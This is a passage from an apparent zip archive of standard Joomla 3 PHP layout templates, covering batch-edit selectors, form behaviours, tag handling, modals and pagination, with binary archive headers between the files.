JHtml::_('bootstrap.popover');
$classes[] = 'hasPopover';
$title = ' title="' . htmlspecialchars(trim($text,
':')) . '"'
. ' data-content="'. htmlspecialchars($description) .
'"';
if (!$position && JFactory::getLanguage()->isRtl())
{
$position = ' data-placement="left" ';
}
}
else
{
JHtml::_('bootstrap.tooltip');
$classes[] = 'hasTooltip';
$title = ' title="' .
JHtml::_('tooltipText', trim($text, ':'), $description,
0) . '"';
}
}
if ($required)
{
$classes[] = 'required';
}
?>
<label id="<?php echo $id; ?>" for="<?php echo
$for; ?>"<?php if (!empty($classes)) echo '
class="' . implode(' ', $classes) . '"';
?><?php echo $title; ?><?php echo $position; ?>>
<?php echo $text; ?><?php if ($required) : ?><span
class="star"> *</span><?php endif; ?>
</label>
PK%>�[R�html/batch/access.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
* None
*/
?>
<label id="batch-access-lbl" for="batch-access"
class="modalTooltip" title="<?php echo
JHtml::_('tooltipText', 'JLIB_HTML_BATCH_ACCESS_LABEL',
'JLIB_HTML_BATCH_ACCESS_LABEL_DESC'); ?>">
<?php echo JText::_('JLIB_HTML_BATCH_ACCESS_LABEL');
?></label>
<?php echo JHtml::_(
'access.assetgrouplist',
'batch[assetgroup_id]', '',
'class="inputbox"',
array(
'title' => JText::_('JLIB_HTML_BATCH_NOCHANGE'),
'id' => 'batch-access'
)
); ?>
PK%>�[.B7��html/batch/adminlanguage.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
* None
*/
JFactory::getDocument()->addScriptDeclaration(
'
jQuery(document).ready(function($){
if ($("#batch-category-id").length){var batchSelector =
$("#batch-category-id");}
if ($("#batch-menu-id").length){var batchSelector =
$("#batch-menu-id");}
if ($("#batch-position-id").length){var batchSelector =
$("#batch-position-id");}
if ($("#batch-copy-move").length && batchSelector) {
$("#batch-copy-move").hide();
batchSelector.on("change", function(){
if (batchSelector.val() != 0 || batchSelector.val() != "") {
$("#batch-copy-move").show();
} else {
$("#batch-copy-move").hide();
}
});
}
});
'
);
?>
<label id="batch-language-lbl"
for="batch-language-id" class="modalTooltip"
title="<?php echo JHtml::_('tooltipText',
'JLIB_HTML_BATCH_LANGUAGE_LABEL',
'JLIB_HTML_BATCH_LANGUAGE_LABEL_DESC'); ?>">
<?php echo JText::_('JLIB_HTML_BATCH_LANGUAGE_LABEL'); ?>
</label>
<select name="batch[language_id]" class="inputbox"
id="batch-language-id">
<option value=""><?php echo
JText::_('JLIB_HTML_BATCH_LANGUAGE_NOCHANGE');
?></option>
<?php echo JHtml::_('select.options',
JHtml::_('adminlanguage.existing', true, true),
'value', 'text'); ?>
</select>
PK%>�[b�����html/batch/item.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
*
* @var string $extension The extension name
*/
extract($displayData);
// Create the copy/move options.
$options = array(
JHtml::_('select.option', 'c',
JText::_('JLIB_HTML_BATCH_COPY')),
JHtml::_('select.option', 'm',
JText::_('JLIB_HTML_BATCH_MOVE'))
);
?>
<label id="batch-choose-action-lbl"
for="batch-choose-action"><?php echo
JText::_('JLIB_HTML_BATCH_MENU_LABEL'); ?></label>
<div id="batch-choose-action"
class="control-group">
<select name="batch[category_id]" class="inputbox"
id="batch-category-id">
<option value=""><?php echo
JText::_('JLIB_HTML_BATCH_NO_CATEGORY'); ?></option>
<?php echo JHtml::_('select.options',
JHtml::_('category.options', $extension)); ?>
</select>
</div>
<div id="batch-copy-move" class="control-group
radio">
<?php echo JText::_('JLIB_HTML_BATCH_MOVE_QUESTION'); ?>
<?php echo JHtml::_('select.radiolist', $options,
'batch[move_copy]', '', 'value',
'text', 'm'); ?>
</div>
PK%>�[����html/batch/language.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
* None
*/
JFactory::getDocument()->addScriptDeclaration(
'
jQuery(document).ready(function($){
if ($("#batch-category-id").length){var batchSelector =
$("#batch-category-id");}
if ($("#batch-menu-id").length){var batchSelector =
$("#batch-menu-id");}
if ($("#batch-position-id").length){var batchSelector =
$("#batch-position-id");}
if ($("#batch-copy-move").length && batchSelector) {
$("#batch-copy-move").hide();
batchSelector.on("change", function(){
if (batchSelector.val() != 0 || batchSelector.val() != "") {
$("#batch-copy-move").show();
} else {
$("#batch-copy-move").hide();
}
});
}
});
'
);
?>
<label id="batch-language-lbl"
for="batch-language-id" class="modalTooltip"
title="<?php echo JHtml::_('tooltipText',
'JLIB_HTML_BATCH_LANGUAGE_LABEL',
'JLIB_HTML_BATCH_LANGUAGE_LABEL_DESC'); ?>">
<?php echo JText::_('JLIB_HTML_BATCH_LANGUAGE_LABEL'); ?>
</label>
<select name="batch[language_id]" class="inputbox"
id="batch-language-id">
<option value=""><?php echo
JText::_('JLIB_HTML_BATCH_LANGUAGE_NOCHANGE');
?></option>
<?php echo JHtml::_('select.options',
JHtml::_('contentlanguage.existing', true, true),
'value', 'text'); ?>
</select>
PK%>�[��`�LLhtml/batch/tag.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
* None
*/
?>
<label id="batch-tag-lbl" for="batch-tag-id"
class="modalTooltip" title="<?php
echo JHtml::_('tooltipText',
'JLIB_HTML_BATCH_TAG_LABEL',
'JLIB_HTML_BATCH_TAG_LABEL_DESC'); ?>">
<?php echo JText::_('JLIB_HTML_BATCH_TAG_LABEL'); ?>
</label>
<select name="batch[tag]" class="inputbox"
id="batch-tag-id">
<option value=""><?php echo
JText::_('JLIB_HTML_BATCH_TAG_NOCHANGE'); ?></option>
<?php echo JHtml::_('select.options',
JHtml::_('tag.tags', array('filter.published' =>
array(1))), 'value', 'text'); ?>
</select>
PK%>�[J
html/batch/user.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
*
* @var boolean $noUser Inject an option for no user?
*/
extract($displayData);
$optionNo = '';
if ($noUser)
{
$optionNo = '<option value="0">' .
JText::_('JLIB_HTML_BATCH_USER_NOUSER') .
'</option>';
}
?>
<label id="batch-user-lbl" for="batch-user"
class="modalTooltip" title="<?php
echo JHtml::_('tooltipText',
'JLIB_HTML_BATCH_USER_LABEL',
'JLIB_HTML_BATCH_USER_LABEL_DESC'); ?>">
<?php echo JText::_('JLIB_HTML_BATCH_USER_LABEL'); ?>
</label>
<select name="batch[user_id]" class="inputbox"
id="batch-user-id">
<option value=""><?php echo
JText::_('JLIB_HTML_BATCH_USER_NOCHANGE'); ?></option>
<?php echo $optionNo; ?>
<?php echo JHtml::_('select.options',
JHtml::_('user.userlist'), 'value', 'text');
?>
</select>
PK%>�[}NM>VV
html/formbehavior/ajaxchosen.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
*
* @var string $selector The id of the field
* @var array $options The options array
* @var boolean $debug Are we in debug mode?
* @var string $type Get or Post
* @var string $url The URL
* @var string $dataType Data type returned
* @var string $jsonTermKey Extra JSON terminator key
* @var integer $afterTypeDelay Delay for the execution
* @var integer $minTermLength The minimum characters required
*/
extract($displayData);
JText::script('JGLOBAL_KEEP_TYPING');
JText::script('JGLOBAL_LOOKING_FOR');
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'jui/ajax-chosen.min.js',
array('version' => 'auto', 'relative'
=> true, 'detectDebug' => $debug));
JFactory::getDocument()->addScriptDeclaration(
"
jQuery(document).ready(function ($) {
$('" . $selector . "').ajaxChosen({
type: '" . $type . "',
url: '" . $url . "',
dataType: '" . $dataType . "',
jsonTermKey: '" . $jsonTermKey . "',
afterTypeDelay: '" . $afterTypeDelay . "',
minTermLength: '" . $minTermLength . "'
}, function (data) {
var results = [];
$.each(data, function (i, val) {
results.push({ value: val.value, text: val.text });
});
return results;
});
});
"
);PK%>�[��B��html/formbehavior/chosen.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
*
* @var string $selector The id of the field
* @var array $options The options array
* @var boolean $debug Are we in debug mode?
*/
extract($displayData);
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'jui/chosen.jquery.min.js',
array('version' => 'auto', 'relative'
=> true, 'detectDebug' => $debug));
JHtml::_('stylesheet', 'jui/chosen.css',
array('version' => 'auto', 'relative'
=> true));
// Options array to json options string
$options_str = json_encode($options, ($debug &&
defined('JSON_PRETTY_PRINT') ? JSON_PRETTY_PRINT : false));
JFactory::getDocument()->addScriptDeclaration(
'
jQuery(function ($) {
initChosen();
$("body").on("subform-row-add", initChosen);
function initChosen(event, container)
{
container = container || document;
$(container).find(' . json_encode($selector) .
').chosen(' . $options_str . ');
}
});
'
);
PK%>�[l �ɟ�html/sortablelist.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
*
* @var string $tableId The id of the table
* @var string $formId The id of the form
* @var string $saveOrderingUrl Save the ordering URL?
* @var string $sortDir The direction of the order
(asc/desc)
* @var string $nestedList Is it nested list?
* @var string $proceedSaveOrderButton Is there a button to initiate
the ordering?
*/
extract($displayData);
// Depends on jQuery UI
JHtml::_('jquery.ui', array('core',
'sortable'));
JHtml::_('script', 'jui/sortablelist.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet', 'jui/sortablelist.css',
array('version' => 'auto', 'relative'
=> true));
// Attach sortable to document
JFactory::getDocument()->addScriptDeclaration(
"
jQuery(document).ready(function ($){
var sortableList = new $.JSortableList('#"
. $tableId . " tbody','" . $formId .
"','" . $sortDir . "' , '" .
$saveOrderingUrl . "','','" . $nestedList .
"');
});
"
);
if ($proceedSaveOrderButton)
{
JFactory::getDocument()->addScriptDeclaration(
"
jQuery(document).ready(function ($){
var saveOrderButton = $('.saveorder');
saveOrderButton.css({'opacity':'0.2',
'cursor':'default'}).attr('onclick','return
false;');
var oldOrderingValue = '';
$('.text-area-order').focus(function ()
{
oldOrderingValue = $(this).attr('value');
})
.keyup(function (){
var newOrderingValue = $(this).attr('value');
if (oldOrderingValue != newOrderingValue)
{
saveOrderButton.css({'opacity':'1',
'cursor':'pointer'}).removeAttr('onclick')
}
});
});
"
);
}
PK%>�[ZC�:
html/tag.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
/**
* Layout variables
* ---------------------
*
* @var string $selector The id of the field
* @var string $minTermLength The minimum number of characters for the
tag
* @var boolean $allowCustom Can we insert custom tags?
*/
extract($displayData);
// Tags field ajax
$chosenAjaxSettings = new Registry(
array(
'selector' => $selector,
'type' => 'GET',
'url' => JUri::root() .
'index.php?option=com_tags&task=tags.searchAjax',
'dataType' => 'json',
'jsonTermKey' => 'like',
'minTermLength' => $minTermLength
)
);
JHtml::_('formbehavior.ajaxchosen', $chosenAjaxSettings);
// Allow custom values?
if ($allowCustom)
{
JFactory::getDocument()->addScriptDeclaration(
"
jQuery(document).ready(function ($) {
var customTagPrefix = '#new#';
function tagHandler(event,element) {
// Search a highlighted result
var highlighted = $('" . $selector .
"_chzn').find('li.active-result.highlighted').first();
// Add the highlighted option
if (event.which === 13 && highlighted.text() !== '')
{
// Extra check. If we have added a custom tag with element text remove
it
var customOptionValue = customTagPrefix + highlighted.text();
$('" . $selector . " option').filter(function () {
return $(element).val() == customOptionValue; }).remove();
// Select the highlighted result
var tagOption = $('" . $selector . "
option').filter(function () { return $(element).html() ==
highlighted.text(); });
tagOption.attr('selected', 'selected');
}
// Add the custom tag option
else
{
var customTag = element.value;
// Extra check. Search if the custom tag already exists (typed faster
than AJAX ready)
var tagOption = $('" . $selector . "
option').filter(function () { return $(element).html() == customTag;
});
if (tagOption.text() !== '')
{
tagOption.attr('selected', 'selected');
}
else
{
var option = $('<option>');
option.text(element.value).val(customTagPrefix + element.value);
option.attr('selected','selected');
// Append the option and repopulate the chosen field
$('" . $selector . "').append(option);
}
}
element.value = '';
$('" . $selector .
"').trigger('liszt:updated');
}
// Method to add tags pressing comma
$('" . $selector . "_chzn
input').keypress(function(event) {
if (event.charCode === 44)
{
// Tag is greater than the minimum required chars
if (this.value && this.value.length >= " .
$minTermLength . ")
{
tagHandler(event, this);
}
// Do not add comma to tag at all
event.preventDefault();
}
});
// Method to add tags pressing enter
$('" . $selector . "_chzn
input').keyup(function(event) {
// Tag is greater than the minimum required chars and enter pressed
if (event.which === 13 && this.value &&
this.value.length >= " . $minTermLength . ")
{
tagHandler(event,this);
event.preventDefault();
}
});
});
"
);
}
PK%>�[*�lCChtml/treeprefix.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
*
* @var integer $level The level of the item in the tree like structure.
*
* @since 3.6.0
*/
extract($displayData);
if ($level > 1)
{
echo '<span class="muted">' .
str_repeat('┊ ', (int)
$level - 2) . '</span>– ';
}
PK%>�[��A}links/groupclose.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</ul>
PK%>�[)#��links/groupopen.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<h2 class="nav-header"><?php echo
JFilterOutput::ampReplace(JText::_($displayData)); ?></h2>
<ul class="j-links-group nav nav-list">
PK%>�[Ձ&links/groupsclose.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</div>
PK%>�[|�
11links/groupseparator.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<div class="j-links-separator"></div>
PK%>�[Iĸ�((links/groupsopen.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<div class="j-links-groups">
PK%>�[�eK)��links/link.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$id = empty($displayData['id']) ? '' : ('
id="' . $displayData['id'] . '"');
$target = empty($displayData['target']) ? '' : ('
target="' . $displayData['target'] .
'"');
$onclick = empty($displayData['onclick']) ? '' :
(' onclick="' . $displayData['onclick'] .
'"');
$title = empty($displayData['title']) ? '' : ('
title="' . $this->escape($displayData['title']) .
'"');
$text = empty($displayData['text']) ? '' :
('<span class="j-links-link">' .
$displayData['text'] . '</span>')
?>
<li<?php echo $id; ?>>
<a href="<?php echo
JFilterOutput::ampReplace($displayData['link']);
?>"<?php echo $target . $onclick . $title; ?>>
<span class="icon-<?php echo $displayData['image'];
?>" aria-hidden="true"></span> <?php echo
$text; ?>
</a>
</li>
PK%>�[r���modal/body.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* ------------------
* @param string $selector Unique DOM identifier for the modal. CSS id
without #
* @param array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* @param string $body Markup for the modal body. Appended after
the <iframe> if the URL option is set
*
*/
$bodyClass = 'modal-body';
$bodyHeight = isset($params['bodyHeight']) ? round((int)
$params['bodyHeight'], -1) : '';
if ($bodyHeight && $bodyHeight >= 20 && $bodyHeight <
90)
{
$bodyClass .= ' jviewport-height' . $bodyHeight;
}
?>
<div class="<?php echo $bodyClass; ?>">
<?php echo $body; ?>
</div>
PK%>�[a�CB��modal/footer.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* ------------------
* @param string $selector Unique DOM identifier for the modal. CSS id
without #
* @param array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* @param string $body Markup for the modal body. Appended after
the <iframe> if the URL option is set
*
*/
?>
<div class="modal-footer">
<?php echo $params['footer']; ?>
</div>
PK%>�[k;�> > modal/header.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* ------------------
* @param string $selector Unique DOM identifier for the modal. CSS id
without #
* @param array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* @param string $body Markup for the modal body. Appended after
the <iframe> if the URL option is set
*
*/
?>
<div class="modal-header">
<?php if (!isset($params['closeButton']) ||
$params['closeButton']) : ?>
<button
type="button"
class="close novalidate"
data-dismiss="modal"
aria-label="<?php echo
JText::_('JLIB_HTML_BEHAVIOR_CLOSE'); ?>"
>
<span aria-hidden="true">×</span>
</button>
<?php endif; ?>
<?php if (isset($params['title'])) : ?>
<h3><?php echo $params['title']; ?></h3>
<?php endif; ?>
</div>
PK%>�[�U�:
:
modal/iframe.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
extract($displayData);
/**
* Layout variables
* ------------------
* @param string $selector Unique DOM identifier for the modal. CSS id
without #
* @param array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* @param string $body Markup for the modal body. Appended after
the <iframe> if the URL option is set
*
*/
$iframeClass = 'iframe';
$bodyHeight = isset($params['bodyHeight']) ? round((int)
$params['bodyHeight'], -1) : '';
if ($bodyHeight && $bodyHeight >= 20 && $bodyHeight <
90)
{
$iframeClass .= ' jviewport-height' . $bodyHeight;
}
$iframeAttributes = array(
'class' => $iframeClass,
'src' => $params['url']
);
if (isset($params['title']))
{
$iframeAttributes['name'] =
addslashes($params['title']);
}
if (isset($params['height']))
{
$iframeAttributes['height'] = $params['height'];
}
if (isset($params['width']))
{
$iframeAttributes['width'] = $params['width'];
}
?>
<iframe <?php echo ArrayHelper::toString($iframeAttributes);
?>></iframe>
PK%>�[�)��modal/main.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
// Load bootstrap-tooltip-extended plugin for additional tooltip positions
in modal
JHtml::_('bootstrap.tooltipExtended');
extract($displayData);
/**
* Layout variables
* ------------------
* @param string $selector Unique DOM identifier for the modal. CSS id
without #
* @param array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* - footer string Optional markup for
the modal footer
* @param string $body Markup for the modal body. Appended after
the <iframe> if the URL option is set
*
*/
$modalClasses = array('modal', 'hide');
if (!isset($params['animation']) ||
$params['animation'])
{
$modalClasses[] = 'fade';
}
$modalWidth = isset($params['modalWidth']) ? round((int)
$params['modalWidth'], -1) : '';
if ($modalWidth && $modalWidth > 0 && $modalWidth <=
100)
{
$modalClasses[] = 'jviewport-width' . $modalWidth;
}
$modalAttributes = array(
'tabindex' => '-1',
'class' => implode(' ', $modalClasses)
);
if (isset($params['backdrop']))
{
$modalAttributes['data-backdrop'] =
(is_bool($params['backdrop']) ? ($params['backdrop'] ?
'true' : 'false') : $params['backdrop']);
}
if (isset($params['keyboard']))
{
$modalAttributes['data-keyboard'] =
(is_bool($params['keyboard']) ? ($params['keyboard'] ?
'true' : 'false') : 'true');
}
/**
* These lines below are for disabling scrolling of parent window.
* $('body').addClass('modal-open');
* $('body').removeClass('modal-open')
*
* Scrolling inside bootstrap modals on small screens (adapt to window
viewport and avoid modal off screen).
* - max-height .modal-body Max-height for the modal body
* When height of the modal is too
high for the window viewport height.
* - max-height .iframe Max-height for the iframe
(Deducting the padding of the modal-body)
* When URL option is set and height
of the iframe is higher than max-height of the modal body.
*
* Fix iOS scrolling inside bootstrap modals
* - overflow-y .modal-body When max-height is set for
modal-body
*
* Specific hack for Bootstrap 2.3.x
*/
$script[] = "jQuery(document).ready(function($) {";
$script[] = " $('#" . $selector .
"').on('show.bs.modal', function() {";
$script[] = "
$('body').addClass('modal-open');";
if (isset($params['url']))
{
$iframeHtml = JLayoutHelper::render('joomla.modal.iframe',
$displayData);
// Script for destroying and reloading the iframe
$script[] = " var modalBody =
$(this).find('.modal-body');";
$script[] = "
modalBody.find('iframe').remove();";
$script[] = " modalBody.prepend('" .
trim($iframeHtml) . "');";
}
else
{
// Set modalTooltip container to modal ID (selector), and placement to
top-left if no data attribute (bootstrap-tooltip-extended.js)
$script[] = "
$('.modalTooltip').each(function(){;";
$script[] = " var attr =
$(this).attr('data-placement');";
$script[] = " if ( attr === undefined || attr === false )
$(this).attr('data-placement', 'auto-dir
top-left')";
$script[] = " });";
$script[] = "
$('.modalTooltip').tooltip({'html': true,
'container': '#" . $selector . "'});";
}
// Adapt modal body max-height to window viewport if needed, when the modal
has been made visible to the user.
$script[] = " }).on('shown.bs.modal', function() {";
// Get height of the modal elements.
$script[] = " var modalHeight =
$('div.modal:visible').outerHeight(true),";
$script[] = " modalHeaderHeight =
$('div.modal-header:visible').outerHeight(true),";
$script[] = " modalBodyHeightOuter =
$('div.modal-body:visible').outerHeight(true),";
$script[] = " modalBodyHeight =
$('div.modal-body:visible').height(),";
$script[] = " modalFooterHeight =
$('div.modal-footer:visible').outerHeight(true),";
// Get padding top (jQuery position().top not working on iOS devices and
webkit browsers, so use of Javascript instead)
$script[] = " padding = document.getElementById('"
. $selector . "').offsetTop,";
// Calculate max-height of the modal, adapted to window viewport height.
$script[] = " maxModalHeight =
($(window).height()-(padding*2)),";
// Calculate max-height for modal-body.
$script[] = " modalBodyPadding =
(modalBodyHeightOuter-modalBodyHeight),";
$script[] = " maxModalBodyHeight =
maxModalHeight-(modalHeaderHeight+modalFooterHeight+modalBodyPadding);";
if (isset($params['url']))
{
// Set max-height for iframe if needed, to adapt to viewport height.
$script[] = " var iframeHeight =
$('.iframe').height();";
$script[] = " if (iframeHeight >
maxModalBodyHeight){;";
$script[] = "
$('.modal-body').css({'max-height': maxModalBodyHeight,
'overflow-y': 'auto'});";
$script[] = "
$('.iframe').css('max-height',
maxModalBodyHeight-modalBodyPadding);";
$script[] = " }";
}
else
{
// Set max-height for modal-body if needed, to adapt to viewport height.
$script[] = " if (modalHeight > maxModalHeight){;";
$script[] = "
$('.modal-body').css({'max-height': maxModalBodyHeight,
'overflow-y': 'auto'});";
$script[] = " }";
}
$script[] = " }).on('hide.bs.modal', function () {";
$script[] = "
$('body').removeClass('modal-open');";
$script[] = "
$('.modal-body').css({'max-height':
'initial', 'overflow-y': 'initial'});";
$script[] = "
$('.modalTooltip').tooltip('destroy');";
$script[] = " });";
$script[] = "});";
JFactory::getDocument()->addScriptDeclaration(implode("\n",
$script));
?>
<div id="<?php echo $selector; ?>" <?php echo
ArrayHelper::toString($modalAttributes); ?>>
<?php
// Header
if (!isset($params['closeButton']) ||
isset($params['title']) || $params['closeButton'])
{
echo JLayoutHelper::render('joomla.modal.header',
$displayData);
}
// Body
echo JLayoutHelper::render('joomla.modal.body', $displayData);
// Footer
if (isset($params['footer']))
{
echo JLayoutHelper::render('joomla.modal.footer',
$displayData);
}
?>
</div>
PK%>�[Y0����pagination/link.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/** @var JPaginationObject $item */
$item = $displayData['data'];
$display = $item->text;
switch ((string) $item->text)
{
// Check for "Start" item
case JText::_('JLIB_HTML_START') :
$icon = 'icon-backward icon-first';
break;
// Check for "Prev" item
case $item->text === JText::_('JPREV') :
$item->text = JText::_('JPREVIOUS');
$icon = 'icon-step-backward icon-previous';
break;
// Check for "Next" item
case JText::_('JNEXT') :
$icon = 'icon-step-forward icon-next';
break;
